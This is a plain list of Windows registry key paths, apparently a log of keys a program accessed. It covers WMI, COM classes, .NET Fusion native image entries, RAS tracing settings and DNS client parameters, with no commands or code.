HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE
HKEY_CURRENT_USER\Software\Classes\WinMgmts
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Scripting
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WBEM\Scripting\Default Namespace
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Hostname
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\System\DNSclient
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Domain
HKEY_CURRENT_USER\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_CURRENT_USER\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler
HKEY_CURRENT_USER\Software\Classes\TypeLib
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32\(Default)
HKEY_CLASSES_ROOT\CLSID\{62E522DC-8CF3-40A8-8B2E-37D595651E40}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\410
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\10
HKEY_CURRENT_USER\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler
HKEY_CURRENT_USER\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_CLASSES_ROOT\CLSID\{04B83D61-21AE-11D2-8B33-00600806D9B6}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.CustomMarshalers__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\CustomMarshalers,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualC__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualC,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_CLASSES_ROOT\CLSID\{D6BDAFB2-9435-491F-BB87-6AA0F0BC31A2}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\73843e06\43a920ef\66\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\141dfd70\6b79efab\43\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.JScript__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.JScript,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration.Install__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration.Install,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\FinalizerActivityBypass
HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM\CIMOM
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WBEM\CIMOM\EnableObjectValidation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Data.SqlXml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Data.SqlXml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\InstallationType
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\EnableConsoleTracing
HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\ggg_RASAPI32
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\ggg_RASAPI32\FileDirectory
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Library
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\IsMultiInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\First Counter
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\CategoryOptions
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\FileMappingSize
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Counter Names
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DnsCache\Parameters
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\DnsClient
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableAdapterDomainName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UseDomainNameDevolution
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DomainNameDevolutionLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DomainNameDevolutionLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\PrioritizeRecordData
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\AllowUnqualifiedQuery
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AppendToMultiLabelName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AppendToMultiLabelName
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenBadTlds
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenBadTlds
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenUnreachableServers
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenUnreachableServers
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenDefaultServers
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenDefaultServers
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DynamicServerQueryOrder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DynamicServerQueryOrder
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\FilterClusterIp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\FilterClusterIp
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\WaitForNameErrorOnAll
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\WaitForNameErrorOnAll
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseEdns
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseEdns
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DnsSecureNameQueryFallback
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsSecureNameQueryFallback
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableDAForAllNetworks
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\EnableDAForAllNetworks
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DirectAccessQueryOrder
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DirectAccessQueryOrder
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryIpMatching
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryIpMatching
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseHostsFile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseHostsFile
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AddrConfigControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AddrConfigControl
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableDynamicUpdate
